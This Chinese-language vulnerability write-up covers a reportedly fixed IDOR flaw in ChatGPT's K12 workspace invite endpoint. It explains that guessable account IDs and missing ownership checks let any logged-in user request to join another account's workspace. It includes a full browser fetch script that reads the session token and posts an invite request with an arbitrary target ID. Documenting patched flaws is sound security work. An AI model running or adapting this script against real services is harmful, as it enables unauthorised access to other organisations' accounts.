ChatGPT K12 工作空间越权邀请漏洞(已修复)
ChatGPT K12 工作空间的越权邀请漏洞(IDOR)记录——成因、验证脚本与修复状态。
背景
#ChatGPT 的 K12 教育工作空间邀请接口存在越权访问(IDOR):登录任意账号即可携带自己的 accessToken 向指定 <ACCOUNT_ID> 的 K12 工作空间发起加入请求,服务端未校验请求方与该账号的归属关系。当前该漏洞已被官方拉闸修复,脚本仅作漏洞记录留存。
漏洞细节
#越权点集中在两个层面:
- 资源定位可猜 —
ACCOUNT_ID是路径参数,可枚举;而 K12 工作空间设计上面向学生批量开通,账号 ID 往往连续可预测 - 鉴权不鉴归属 — 请求只验证"你是登录用户",不验证"你有权操作这个账号"
影响面:任何登录用户可向任意账号的工作空间提交加入请求,若该空间未限制邀请审批,可实现越权加入。正是由于工作空间批量开通的规模,这类 IDOR 会被批量利用,官方因此直接拉闸接口而非仅加校验。
核心思路
#漏洞点是 POST /backend-api/accounts/<ACCOUNT_ID>/invites/request:接口凭 Authorization: Bearer <自己的 token> 就能操作,<ACCOUNT_ID> 可任意替换为他人账号,缺少归属校验。浏览器会话直接发起即可,无需额外权限。
验证脚本
#fetch("https://chatgpt.com/api/auth/session", {
method: "GET",
credentials: "include",
})
.then((res) => res.json())
.then(({ accessToken }) => {
if (!accessToken) throw new Error("未获取到 accessToken")
return fetch(
"https://chatgpt.com/backend-api/accounts/<ACCOUNT_ID>/invites/request",
{
method: "POST",
headers: {
authorization: `Bearer ${accessToken}`,
"content-type": "application/json",
},
referrer: "https://chatgpt.com/k12-verification",
credentials: "include",
},
)
})
.then((res) => res.json())
.then((result) => console.log("邀请请求结果:", result))
.catch((err) => console.error("请求失败:", err))
要点:<ACCOUNT_ID> 是接口路径上的目标账号,发起者仅靠自己的 session token 即可替换该值——这就是越权点。
注意事项
#- 已拉闸:该接口当前返回拒绝,脚本已不可用。
- 仅作学习记录;对在役漏洞的批量利用属违法行为。